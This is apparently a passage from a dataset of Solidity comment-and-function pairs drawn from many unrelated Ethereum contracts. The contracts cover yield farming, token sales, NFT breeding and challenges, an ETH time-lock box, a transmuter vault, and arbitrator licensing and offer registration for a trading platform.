getPenaltyFactorForEarlyUnlockers(uint256 _pid, address _addr)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n uint256 lpReleaseStart = getLpReleaseStart(_pid, _addr);\r\n if (lpReleaseStart == 0 || block.timestamp < lpReleaseStart)\r\n return 1000;\r\n uint256 weeksTilNow = weeksSinceLPReleaseTilNow(_pid, _addr);\r\n uint256 numReleaseWeeks = poolInfo[_pid].lockedPeriod.div(\r\n LP_RELEASE_TRUNK\r\n ); //10\r\n if (weeksTilNow >= numReleaseWeeks) return 0;\r\n uint256 remainingWeeks = numReleaseWeeks.sub(weeksTilNow);\r\n //week 1: 45/1000 = 4.5%\r\n //week 2: 40/1000 = 4%\r\n uint256 ret = remainingWeeks.mul(50000).div(1000).div(numReleaseWeeks);\r\n return ret > 1000 ? 1000 : ret;\r\n }", "version": "0.6.12"} {"comment": "// Update reward vairables for all pools. Be careful of gas spending!", "function_code": "function massUpdatePools() public {\r\n console.log(\"Mass Updating Pools\");\r\n uint256 length = poolInfo.length;\r\n uint256 allRewards;\r\n for (uint256 pid = 0; pid < length; ++pid) {\r\n allRewards = allRewards.add(updatePool(pid));\r\n }\r\n\r\n pendingRewards = pendingRewards.sub(allRewards);\r\n }", "version": "0.6.12"} {"comment": "// ----\n// Function that adds pending rewards, called by the NERD token.\n// ----", "function_code": "function updatePendingRewards() public {\r\n uint256 newRewards = nerd.balanceOf(address(this)).sub(nerdBalance);\r\n\r\n if (newRewards > 0) {\r\n nerdBalance = nerd.balanceOf(address(this)); // If there is no change the balance didn't change\r\n pendingRewards = pendingRewards.add(newRewards);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Deposit tokens to NerdVault for NERD allocation.", "function_code": "function deposit(uint256 _pid, uint256 _originAmount) public {\r\n claimLPTokensToFarmingPool(msg.sender);\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n\r\n massUpdatePools();\r\n\r\n // Transfer pending tokens\r\n // to user\r\n updateAndPayOutPending(_pid, msg.sender);\r\n\r\n uint256 lpAccumulationFee = _originAmount.mul(LP_ACCUMULATION_FEE).div(\r\n 1000\r\n );\r\n uint256 _amount = _originAmount.sub(lpAccumulationFee);\r\n\r\n //Transfer in the amounts from user\r\n // save gas\r\n if (_amount > 0) {\r\n pool.token.safeTransferFrom(\r\n address(msg.sender),\r\n ADDRESS_LOCKED_LP_ACCUMULATION,\r\n lpAccumulationFee\r\n );\r\n pool.token.safeTransferFrom(\r\n address(msg.sender),\r\n address(this),\r\n _amount\r\n );\r\n updateDepositTime(_pid, msg.sender, _amount);\r\n user.amount = user.amount.add(_amount);\r\n }\r\n\r\n user.rewardDebt = user.amount.mul(pool.accNerdPerShare).div(1e18);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Test coverage\n// [x] Does user get the deposited amounts?\n// [x] Does user that its deposited for update correcty?\n// [x] Does the depositor get their tokens decreased", "function_code": "function depositFor(\r\n address _depositFor,\r\n uint256 _pid,\r\n uint256 _originAmount\r\n ) public {\r\n claimLPTokensToFarmingPool(_depositFor);\r\n // requires no allowances\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_depositFor];\r\n\r\n massUpdatePools();\r\n\r\n // Transfer pending tokens\r\n // to user\r\n updateAndPayOutPending(_pid, _depositFor); // Update the balances of person that amount is being deposited for\r\n uint256 lpAccumulationFee = _originAmount.mul(LP_ACCUMULATION_FEE).div(\r\n 1000\r\n );\r\n uint256 _amount = _originAmount.sub(lpAccumulationFee);\r\n\r\n if (_amount > 0) {\r\n pool.token.safeTransferFrom(\r\n address(msg.sender),\r\n ADDRESS_LOCKED_LP_ACCUMULATION,\r\n lpAccumulationFee\r\n );\r\n pool.token.safeTransferFrom(\r\n address(msg.sender),\r\n address(this),\r\n _amount\r\n );\r\n updateDepositTime(_pid, _depositFor, _amount);\r\n user.amount = user.amount.add(_amount); // This is depositedFor address\r\n }\r\n\r\n user.rewardDebt = user.amount.mul(pool.accNerdPerShare).div(1e18); /// This is deposited for address\r\n emit Deposit(_depositFor, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Test coverage\n// [x] Does allowance decrease?\n// [x] Do oyu need allowance\n// [x] Withdraws to correct address", "function_code": "function withdrawFrom(\r\n address owner,\r\n uint256 _pid,\r\n uint256 _amount\r\n ) public {\r\n claimLPTokensToFarmingPool(owner);\r\n PoolInfo storage pool = poolInfo[_pid];\r\n require(\r\n pool.allowance[owner][msg.sender] >= _amount,\r\n \"withdraw: insufficient allowance\"\r\n );\r\n pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender]\r\n .sub(_amount);\r\n _withdraw(_pid, _amount, owner, msg.sender);\r\n }", "version": "0.6.12"} {"comment": "// Low level withdraw function", "function_code": "function _withdraw(\r\n uint256 _pid,\r\n uint256 _amount,\r\n address from,\r\n address to\r\n ) internal {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n //require(pool.withdrawable, \"Withdrawing from this pool is disabled\");\r\n UserInfo storage user = userInfo[_pid][from];\r\n (\r\n uint256 withdrawnableAmount,\r\n uint256 penaltyAmount\r\n ) = computeReleasableLPWithPenalty(_pid, from);\r\n require(withdrawnableAmount >= _amount, \"withdraw: not good\");\r\n\r\n massUpdatePools();\r\n updateAndPayOutPending(_pid, from); // Update balances of from this is not withdrawal but claiming NERD farmed\r\n\r\n if (_amount > 0) {\r\n uint256 _actualWithdrawn = _amount;\r\n uint256 _actualPenalty = _actualWithdrawn.mul(penaltyAmount).div(\r\n withdrawnableAmount\r\n );\r\n user.amount = user.amount.sub(_actualWithdrawn.add(_actualPenalty));\r\n\r\n pool.token.safeTransfer(address(to), _actualWithdrawn);\r\n\r\n if (_actualPenalty > 0) {\r\n //withdraw liquidtity for _actualPenalty\r\n uint256 otherTokenAmount = removeLiquidity(\r\n address(pool.token),\r\n _actualPenalty\r\n );\r\n swapTokenForNerd(address(pool.token), otherTokenAmount);\r\n\r\n updatePendingRewards();\r\n }\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accNerdPerShare).div(1e18);\r\n\r\n emit Withdraw(to, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// function that lets owner/governance contract\n// approve allowance for any token inside this contract\n// This means all future UNI like airdrops are covered\n// And at the same time allows us to give allowance to strategy contracts.\n// Upcoming cYFI etc vaults strategy contracts will se this function to manage and farm yield on value locked", "function_code": "function setStrategyContractOrDistributionContractAllowance(\r\n address tokenAddress,\r\n uint256 _amount,\r\n address contractAddress\r\n ) public onlySuperAdmin {\r\n require(\r\n isContract(contractAddress),\r\n \"Recipent is not a smart contract, BAD\"\r\n );\r\n require(\r\n block.number > contractStartBlock.add(95_000),\r\n \"Governance setup grace period not over\"\r\n );\r\n IERC20(tokenAddress).approve(contractAddress, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Accepts money deposit and makes record\r\n * minimum deposit is MINIMUM_DEPOSIT\r\n * @param beneficiar - the address to receive Tokens\r\n * @param countryCode - 3-digit country code\r\n * @dev if `msg.value < MINIMUM_DEPOSIT` throws\r\n */", "function_code": "function deposit (address beneficiar, uint16 countryCode) payable { \r\n require(msg.value >= MINIMUM_DEPOSIT);\r\n require(state == State.Sale || state == State.Presale);\r\n\r\n /* this should end any finished period before starting any operations */\r\n tick();\r\n\r\n /* check if have enough tokens for the current period\r\n * if not, the call fails until tokens are deposited to the contract\r\n */\r\n require(isActive());\r\n\r\n uint256 tokensBought = msg.value / getTokenPrice();\r\n\r\n if(periods[currentPeriod].tokensSold + tokensBought >= tokensForPeriod(currentPeriod)) {\r\n tokensBought = tokensForPeriod(currentPeriod) - periods[currentPeriod].tokensSold;\r\n }\r\n\r\n uint256 moneySpent = getTokenPrice() * tokensBought;\r\n\r\n investmentsByCountries[countryCode] += moneySpent;\r\n\r\n if(tokensBought > 0) {\r\n assert(moneySpent <= msg.value);\r\n\r\n /* return the rest */\r\n if(msg.value > moneySpent) {\r\n msg.sender.transfer(msg.value - moneySpent);\r\n }\r\n\r\n periods[currentPeriod].tokensSold += tokensBought;\r\n unclaimedTokensForInvestor[beneficiar] += tokensBought;\r\n totalUnclaimedTokens += tokensBought;\r\n totalTokensSold += tokensBought;\r\n Deposited(msg.sender, moneySpent, tokensBought);\r\n }\r\n\r\n /* if all tokens are sold, get to the next period */\r\n tick();\r\n }", "version": "0.4.15"} {"comment": "/**\n * Set verification of a users challenge\n * @param tokenId - the tokenId of the challenge\n * @param completed - true if the challenge has been verified\n * @return success - true if successful\n */", "function_code": "function setVerify(uint256 tokenId, bool completed)\n public\n returns (bool success)\n {\n require(!verificationPaused, \"Verification is paused\");\n require(\n tokenIdVerificationComplete[tokenId] == false,\n \"Token has already been verified\"\n );\n require(\n tokenIdToAccountabilityPartner[tokenId] == msg.sender,\n \"Only the accountability partner can verify\"\n );\n\n tokenIdVerificationComplete[tokenId] = true;\n tokenIdVerificationValue[tokenId] = completed;\n\n emit Verified(\n tokenId,\n completed,\n ownerOf(tokenId),\n accountabilityPartnerOf(tokenId)\n );\n\n return true;\n }", "version": "0.8.4"} {"comment": "/**\n * Remove the verification status from the challenge\n * @param tokenId - the tokenId of the challenge\n * @return success - true if successful\n */", "function_code": "function unverify(uint256 tokenId) public returns (bool success) {\n require(!verificationPaused, \"Verification is paused\");\n require(\n tokenIdVerificationComplete[tokenId] == true,\n \"Token has not been verified\"\n );\n require(\n tokenIdToAccountabilityPartner[tokenId] == msg.sender,\n \"Only the accountability partner can unverify\"\n );\n\n tokenIdVerificationComplete[tokenId] = false;\n tokenIdVerificationValue[tokenId] = false;\n\n emit Unverified(\n tokenId,\n ownerOf(tokenId),\n accountabilityPartnerOf(tokenId)\n );\n\n return true;\n }", "version": "0.8.4"} {"comment": "/**\n * Withdraw the balance of the contract\n * @dev owner only\n * @param _to - the address to send the balance to\n * @param _amount - the amount to send\n * @return sent - true if successful\n * @return data - data from the call\n */", "function_code": "function withdraw(address payable _to, uint256 _amount)\n external\n onlyOwner\n returns (bool sent, bytes memory data)\n {\n require(_amount < address(this).balance, \"Not enough balance\");\n require(_amount > 0, \"Amount must be greater than 0\");\n\n (sent, data) = _to.call{value: _amount}(\"\");\n\n return (sent, data);\n }", "version": "0.8.4"} {"comment": "/**\n * Get the URI of a token\n * @param tokenId - the tokenId of the token\n * @return tokenURI - the uri of the token\n */", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory _tokenURI = tokenIdToIpfsHash[tokenId];\n string memory base = _baseURI();\n\n // If there is no base URI, return the token URI.\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n // If there is a baseURI but no tokenURI, return the base because this shouldn't happen\n return string(abi.encodePacked(base));\n }", "version": "0.8.4"} {"comment": "/**\r\n * Holder can withdraw the ETH when price >= box.openPrice or now >= box.openTime.\r\n * After breaking the box, the box will be burned.\r\n */", "function_code": "function breakBox(uint _boxId) public {\r\n require(_isApprovedOrOwner(_msgSender(), _boxId), \"ERC721: transfer caller is not owner nor approved\");\r\n uint ether_price_now = getEthPrice();\r\n MoonBox storage box = moonBoxs[_boxId];\r\n require(box.etherNumber > 0, \"This box has been opened\");\r\n if(box.openPrice <= ether_price_now || box.openTime <= now) {\r\n super._burn(_boxId);\r\n msg.sender.transfer(box.etherNumber);\r\n emit BreakBox(_boxId, now);\r\n } else {\r\n revert(\"The break condition is not yet satisfied.\");\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * Holder can withdraw the ETH when price >= box.openPrice or now >= box.openTime.\r\n * After open the box, you still have the box.\r\n * Developers will receive a fee of.1%.\r\n */", "function_code": "function openBox(uint _boxId) public {\r\n require(_isApprovedOrOwner(_msgSender(), _boxId), \"ERC721: transfer caller is not owner nor approved\");\r\n uint ether_price_now = getEthPrice();\r\n MoonBox storage box = moonBoxs[_boxId];\r\n require(box.etherNumber > 0, \"This box has been opened\");\r\n if(box.openPrice <= ether_price_now || box.openTime <= now) {\r\n uint fee = box.etherNumber / tipRatio;\r\n uint payout = box.etherNumber.sub(fee);\r\n box.etherNumber = 0;\r\n msg.sender.transfer(payout);\r\n owner.transfer(fee);\r\n emit OpenBox(_boxId, now);\r\n } else {\r\n revert(\"The open condition is not yet satisfied.\");\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Gets the list of token IDs of the requested owner.\r\n * @param _owner address owning the tokens\r\n * @return uint256[] List of token IDs owned by the requested address\r\n */", "function_code": "function getMoonBoxsByOwner(address _owner) external view returns(uint[] memory) {\r\n uint boxNum = super.balanceOf(_owner);\r\n uint[] memory result = new uint[](boxNum);\r\n uint counter = 0;\r\n for (uint i = 0; i < moonBoxs.length; i++) {\r\n if (super._exists(i) && super._isApprovedOrOwner(_owner, i)) {\r\n result[counter] = i;\r\n counter++;\r\n }\r\n }\r\n return result;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * when developer changed the address of the oracle.\r\n * Users have one week to opt out safely.\r\n */", "function_code": "function quit(uint _boxId) external {\r\n require(_isApprovedOrOwner(_msgSender(), _boxId), \"ERC721: transfer caller is not owner nor approved\");\r\n MoonBox storage box = moonBoxs[_boxId];\r\n require(box.etherNumber > 0, \"This box has been opened\");\r\n if(now < new_uniswap_address_effective_time) {\r\n super._burn(_boxId);\r\n msg.sender.transfer(box.etherNumber);\r\n emit Quit(_boxId, now);\r\n } else {\r\n revert(\"The quit condition is not yet satisfied.\");\r\n }\r\n }", "version": "0.5.12"} {"comment": "///@dev Deposits alTokens into the transmuter \n///\n///@param amount the amount of alTokens to stake", "function_code": "function stake(uint256 amount)\n public\n noContractAllowed()\n ensureUserActionDelay()\n runPhasedDistribution()\n updateAccount(msg.sender)\n checkIfNewUser()\n {\n require(!pause, \"emergency pause enabled\");\n\n // requires approval of AlToken first\n address sender = msg.sender;\n //require tokens transferred in;\n IERC20Burnable(alToken).safeTransferFrom(sender, address(this), amount);\n totalSupplyAltokens = totalSupplyAltokens.add(amount);\n depositedAlTokens[sender] = depositedAlTokens[sender].add(amount);\n emit AlUsdStaked(sender, amount);\n }", "version": "0.6.12"} {"comment": "/// @dev Sets the keeper list\n///\n/// This function reverts if the caller is not governance\n///\n/// @param _keepers the accounts to set states for.\n/// @param _states the accounts states.", "function_code": "function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() {\n uint256 n = _keepers.length;\n for(uint256 i = 0; i < n; i++) {\n keepers[_keepers[i]] = _states[i];\n }\n emit KeepersSet(_keepers, _states);\n }", "version": "0.6.12"} {"comment": "/// @dev Updates the active vault.\n///\n/// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts\n/// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.\n///\n/// @param _adapter the adapter for the new active vault.", "function_code": "function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal {\n require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), \"Transmuter: active vault address cannot be 0x0.\");\n require(address(_adapter.token()) == token, \"Transmuter.vault: token mismatch.\");\n require(!adapters[_adapter], \"Adapter already in use\");\n adapters[_adapter] = true;\n _vaults.push(VaultWithIndirection.Data({\n adapter: _adapter,\n totalDeposited: 0\n }));\n\n emit ActiveVaultUpdated(_adapter);\n }", "version": "0.6.12"} {"comment": "/// @dev Recalls funds from active vault if less than amt exist locally\n///\n/// @param amt amount of funds that need to exist locally to fulfill pending request", "function_code": "function ensureSufficientFundsExistLocally(uint256 amt) internal {\n uint256 currentBal = IERC20Burnable(token).balanceOf(address(this));\n if (currentBal < amt) {\n uint256 diff = amt - currentBal;\n // get enough funds from active vault to replenish local holdings & fulfill claim request\n _recallExcessFundsFromActiveVault(plantableThreshold.add(diff));\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Plants or recalls funds from the active vault\n///\n/// This function plants excess funds in an external vault, or recalls them from the external vault\n/// Should only be called as part of distribute()", "function_code": "function _plantOrRecallExcessFunds() internal {\n // check if the transmuter holds more funds than plantableThreshold\n uint256 bal = IERC20Burnable(token).balanceOf(address(this));\n uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100);\n if (bal > plantableThreshold.add(marginVal)) {\n uint256 plantAmt = bal - plantableThreshold;\n // if total funds above threshold, send funds to vault\n VaultWithIndirection.Data storage _activeVault = _vaults.last();\n _activeVault.deposit(plantAmt);\n } else if (bal < plantableThreshold.sub(marginVal)) {\n // if total funds below threshold, recall funds from vault\n // first check that there are enough funds in vault\n uint256 harvestAmt = plantableThreshold - bal;\n _recallExcessFundsFromActiveVault(harvestAmt);\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Recalls up to the harvestAmt from the active vault\n///\n/// This function will recall less than harvestAmt if only less is available\n///\n/// @param _recallAmt the amount to harvest from the active vault", "function_code": "function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal {\n VaultWithIndirection.Data storage _activeVault = _vaults.last();\n uint256 activeVaultVal = _activeVault.totalValue();\n if (activeVaultVal < _recallAmt) {\n _recallAmt = activeVaultVal;\n }\n if (_recallAmt > 0) {\n _recallFundsFromActiveVault(_recallAmt);\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Sets the rewards contract.\n///\n/// This function reverts if the new rewards contract is the zero address or the caller is not the current governance.\n///\n/// @param _rewards the new rewards contract.", "function_code": "function setRewards(address _rewards) external onlyGov() {\n // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break\n // transfers to the address because of `safeTransfer` checks.\n require(_rewards != ZERO_ADDRESS, \"Transmuter: rewards address cannot be 0x0.\");\n\n rewards = _rewards;\n\n emit RewardsUpdated(_rewards);\n }", "version": "0.6.12"} {"comment": "/// @dev Migrates transmuter funds to a new transmuter\n///\n/// @param migrateTo address of the new transmuter", "function_code": "function migrateFunds(address migrateTo) external onlyGov() {\n require(migrateTo != address(0), \"cannot migrate to 0x0\");\n require(pause, \"migrate: set emergency exit first\");\n\n // leave enough funds to service any pending transmutations\n uint256 totalFunds = IERC20Burnable(token).balanceOf(address(this));\n uint256 migratableFunds = totalFunds.sub(totalSupplyAltokens, \"not enough funds to service stakes\");\n IERC20Burnable(token).approve(migrateTo, migratableFunds);\n ITransmuter(migrateTo).distribute(address(this), migratableFunds);\n emit MigrationComplete(migrateTo, migratableFunds);\n }", "version": "0.6.12"} {"comment": "/* acceptor mint one baby, left another baby for proposer to claim */", "function_code": "function breed(\n MatingRequest calldata matingRequest,\n uint16 acceptorTokenId,\n bytes calldata sig\n ) external callerIsUser isAtSalePhase(SalePhase.Breed) {\n validateMatingRequest(matingRequest, sig);\n\n uint16 punkId;\n uint16 baycId;\n address punkOwnerAddress;\n address baycOwnerAddress;\n\n if (matingRequest.isProposerPunk) {\n punkId = matingRequest.proposerTokenId;\n punkOwnerAddress = matingRequest.proposerAddress;\n baycId = acceptorTokenId;\n baycOwnerAddress = msg.sender;\n } else {\n punkId = acceptorTokenId;\n punkOwnerAddress = msg.sender;\n baycId = matingRequest.proposerTokenId;\n baycOwnerAddress = matingRequest.proposerAddress;\n }\n\n require(!punkBred(punkId), 'Punk already bred a baby.');\n require(!baycBred(baycId), 'Bayc already bred a baby.');\n\n bred.set(punkId2Index(punkId));\n bred.set(baycId2Index(baycId));\n\n // check ownership\n verifyPunkOwnership(punkId, punkOwnerAddress);\n verifyBaycOwnership(baycId, baycOwnerAddress);\n\n uint16 babyTokenId = uint16(_currentIndex);\n\n babyParents[babyTokenId] = Parents(\n punkId,\n baycId,\n matingRequest.isProposerPunk,\n false,\n true\n );\n\n emit Breed(\n matingRequest.proposerTokenId,\n matingRequest.isProposerPunk,\n acceptorTokenId,\n msg.sender,\n babyTokenId\n );\n\n // mint baby token for acceptor, proposer should claim the twin baby later.\n _mint(msg.sender, 1, '', false);\n }", "version": "0.8.7"} {"comment": "/* For proposer to claim the baby. */", "function_code": "function claimBaby(uint16 siblingId)\n external\n callerIsUser\n isAtSalePhase(SalePhase.Breed)\n {\n Parents storage parentsInfo = babyParents[siblingId];\n require(parentsInfo.hasParents, 'No baby to be claimed.');\n if (parentsInfo.isProposerPunk) {\n verifyPunkOwnership(parentsInfo.punkTokenId, msg.sender);\n } else {\n verifyBaycOwnership(parentsInfo.baycTokenId, msg.sender);\n }\n require(!parentsInfo.proposerClaimed, 'Baby already claimed.');\n\n parentsInfo.proposerClaimed = true;\n\n uint16 babyTokenId = uint16(_currentIndex);\n babyParents[babyTokenId] = parentsInfo;\n\n emit Claim(babyTokenId, siblingId, msg.sender);\n _mint(msg.sender, 1, '', false);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Buy a license\r\n * @dev Requires value to be equal to the price of the license.\r\n * The _owner must not already own a license.\r\n */", "function_code": "function _buyFrom(address _licenseOwner) internal returns(uint) {\r\n require(licenseDetails[_licenseOwner].creationTime == 0, \"License already bought\");\r\n\r\n licenseDetails[_licenseOwner] = LicenseDetails({\r\n price: price,\r\n creationTime: block.timestamp\r\n });\r\n\r\n uint idx = licenseOwners.push(_licenseOwner);\r\n idxLicenseOwners[_licenseOwner] = idx;\r\n\r\n emit Bought(_licenseOwner, price);\r\n\r\n require(_safeTransferFrom(token, _licenseOwner, burnAddress, price), \"Unsuccessful token transfer\");\r\n\r\n return idx;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Support for \"approveAndCall\". Callable only by `token()`.\r\n * @param _from Who approved.\r\n * @param _amount Amount being approved, need to be equal `price()`.\r\n * @param _token Token being approved, need to be equal `token()`.\r\n * @param _data Abi encoded data with selector of `buy(and)`.\r\n */", "function_code": "function receiveApproval(address _from, uint256 _amount, address _token, bytes memory _data) public {\r\n require(_amount == price, \"Wrong value\");\r\n require(_token == address(token), \"Wrong token\");\r\n require(_token == address(msg.sender), \"Wrong call\");\r\n require(_data.length == 4, \"Wrong data length\");\r\n\r\n require(_abiDecodeBuy(_data) == bytes4(0xa6f2ae3a), \"Wrong method selector\"); //bytes4(keccak256(\"buy()\"))\r\n\r\n _buyFrom(_from);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Change acceptAny parameter for arbitrator\r\n * @param _acceptAny indicates does arbitrator allow to accept any seller/choose sellers\r\n */", "function_code": "function changeAcceptAny(bool _acceptAny) public {\r\n require(isLicenseOwner(msg.sender), \"Message sender should have a valid arbitrator license\");\r\n require(arbitratorlicenseDetails[msg.sender].acceptAny != _acceptAny,\r\n \"Message sender should pass parameter different from the current one\");\r\n\r\n arbitratorlicenseDetails[msg.sender].acceptAny = _acceptAny;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Allows arbitrator to accept a seller\r\n * @param _arbitrator address of a licensed arbitrator\r\n */", "function_code": "function requestArbitrator(address _arbitrator) public {\r\n require(isLicenseOwner(_arbitrator), \"Arbitrator should have a valid license\");\r\n require(!arbitratorlicenseDetails[_arbitrator].acceptAny, \"Arbitrator already accepts all cases\");\r\n\r\n bytes32 _id = keccak256(abi.encodePacked(_arbitrator, msg.sender));\r\n RequestStatus _status = requests[_id].status;\r\n require(_status != RequestStatus.AWAIT && _status != RequestStatus.ACCEPTED, \"Invalid request status\");\r\n\r\n if(_status == RequestStatus.REJECTED || _status == RequestStatus.CLOSED){\r\n require(requests[_id].date + 3 days < block.timestamp,\r\n \"Must wait 3 days before requesting the arbitrator again\");\r\n }\r\n\r\n requests[_id] = Request({\r\n seller: msg.sender,\r\n arbitrator: _arbitrator,\r\n status: RequestStatus.AWAIT,\r\n date: block.timestamp\r\n });\r\n\r\n emit ArbitratorRequested(_id, msg.sender, _arbitrator);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Allows arbitrator to accept a seller's request\r\n * @param _id request id\r\n */", "function_code": "function acceptRequest(bytes32 _id) public {\r\n require(isLicenseOwner(msg.sender), \"Arbitrator should have a valid license\");\r\n require(requests[_id].status == RequestStatus.AWAIT, \"This request is not pending\");\r\n require(!arbitratorlicenseDetails[msg.sender].acceptAny, \"Arbitrator already accepts all cases\");\r\n require(requests[_id].arbitrator == msg.sender, \"Invalid arbitrator\");\r\n\r\n requests[_id].status = RequestStatus.ACCEPTED;\r\n\r\n address _seller = requests[_id].seller;\r\n permissions[msg.sender][_seller] = true;\r\n\r\n emit RequestAccepted(_id, msg.sender, requests[_id].seller);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Allows arbitrator to reject a request\r\n * @param _id request id\r\n */", "function_code": "function rejectRequest(bytes32 _id) public {\r\n require(isLicenseOwner(msg.sender), \"Arbitrator should have a valid license\");\r\n require(requests[_id].status == RequestStatus.AWAIT || requests[_id].status == RequestStatus.ACCEPTED,\r\n \"Invalid request status\");\r\n require(!arbitratorlicenseDetails[msg.sender].acceptAny, \"Arbitrator accepts all cases\");\r\n require(requests[_id].arbitrator == msg.sender, \"Invalid arbitrator\");\r\n\r\n requests[_id].status = RequestStatus.REJECTED;\r\n requests[_id].date = block.timestamp;\r\n\r\n address _seller = requests[_id].seller;\r\n permissions[msg.sender][_seller] = false;\r\n\r\n emit RequestRejected(_id, msg.sender, requests[_id].seller);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Allows seller to cancel a request\r\n * @param _id request id\r\n */", "function_code": "function cancelRequest(bytes32 _id) public {\r\n require(requests[_id].seller == msg.sender, \"This request id does not belong to the message sender\");\r\n require(requests[_id].status == RequestStatus.AWAIT || requests[_id].status == RequestStatus.ACCEPTED, \"Invalid request status\");\r\n\r\n address arbitrator = requests[_id].arbitrator;\r\n\r\n requests[_id].status = RequestStatus.CLOSED;\r\n requests[_id].date = block.timestamp;\r\n\r\n address _arbitrator = requests[_id].arbitrator;\r\n permissions[_arbitrator][msg.sender] = false;\r\n\r\n emit RequestCanceled(_id, arbitrator, requests[_id].seller);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev divides bytes signature into `uint8 v, bytes32 r, bytes32 s`\r\n * @param _signature Signature string\r\n */", "function_code": "function signatureSplit(bytes memory _signature)\r\n internal\r\n pure\r\n returns (uint8 v, bytes32 r, bytes32 s)\r\n {\r\n require(_signature.length == 65, \"Bad signature length\");\r\n // The signature format is a compact form of:\r\n // {bytes32 r}{bytes32 s}{uint8 v}\r\n // Compact means, uint8 is not padded to 32 bytes.\r\n assembly {\r\n r := mload(add(_signature, 32))\r\n s := mload(add(_signature, 64))\r\n // Here we are loading the last 32 bytes, including 31 bytes\r\n // of 's'. There is no 'mload8' to do this.\r\n //\r\n // 'byte' is not working due to the Solidity parser, so lets\r\n // use the second best option, 'and'\r\n v := and(mload(add(_signature, 65)), 0xff)\r\n }\r\n if (v < 27) {\r\n v += 27;\r\n }\r\n require(v == 27 || v == 28, \"Bad signature version\");\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Adds or updates user information\r\n * @param _user User address to update\r\n * @param _contactData Contact Data ContactType:UserId\r\n * @param _location New location\r\n * @param _username New status username\r\n */", "function_code": "function _addOrUpdateUser(\r\n address _user,\r\n string memory _contactData,\r\n string memory _location,\r\n string memory _username\r\n ) internal {\r\n User storage u = users[_user];\r\n u.contactData = _contactData;\r\n u.location = _location;\r\n u.username = _username;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Adds or updates user information via signature\r\n * @param _signature Signature\r\n * @param _contactData Contact Data ContactType:UserId\r\n * @param _location New location\r\n * @param _username New status username\r\n * @return Signing user address\r\n */", "function_code": "function addOrUpdateUser(\r\n bytes calldata _signature,\r\n string calldata _contactData,\r\n string calldata _location,\r\n string calldata _username,\r\n uint _nonce\r\n ) external returns(address payable _user) {\r\n _user = address(uint160(_getSigner(_username, _contactData, _nonce, _signature)));\r\n\r\n require(_nonce == user_nonce[_user], \"Invalid nonce\");\r\n\r\n user_nonce[_user]++;\r\n _addOrUpdateUser(_user, _contactData, _location, _username);\r\n\r\n return _user;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Add a new offer with a new user if needed to the list\r\n * @param _asset The address of the erc20 to exchange, pass 0x0 for Eth\r\n * @param _contactData Contact Data ContactType:UserId\r\n * @param _location The location on earth\r\n * @param _currency The currency the user want to receive (USD, EUR...)\r\n * @param _username The username of the user\r\n * @param _paymentMethods The list of the payment methods the user accept\r\n * @param _limitL Lower limit accepted\r\n * @param _limitU Upper limit accepted\r\n * @param _margin The margin for the user\r\n * @param _arbitrator The arbitrator used by the offer\r\n */", "function_code": "function addOffer(\r\n address _asset,\r\n string memory _contactData,\r\n string memory _location,\r\n string memory _currency,\r\n string memory _username,\r\n uint[] memory _paymentMethods,\r\n uint _limitL,\r\n uint _limitU,\r\n int16 _margin,\r\n address payable _arbitrator\r\n ) public payable {\r\n //require(sellingLicenses.isLicenseOwner(msg.sender), \"Not a license owner\");\r\n // @TODO: limit number of offers if the sender is unlicensed?\r\n\r\n require(arbitrationLicenses.isAllowed(msg.sender, _arbitrator), \"Arbitrator does not allow this transaction\");\r\n\r\n require(_limitL <= _limitU, \"Invalid limits\");\r\n require(msg.sender != _arbitrator, \"Cannot arbitrate own offers\");\r\n\r\n _addOrUpdateUser(\r\n msg.sender,\r\n _contactData,\r\n _location,\r\n _username\r\n );\r\n\r\n Offer memory newOffer = Offer(\r\n _margin,\r\n _paymentMethods,\r\n _limitL,\r\n _limitU,\r\n _asset,\r\n _currency,\r\n msg.sender,\r\n _arbitrator,\r\n false\r\n );\r\n\r\n uint256 offerId = offers.push(newOffer) - 1;\r\n offerWhitelist[msg.sender][offerId] = true;\r\n 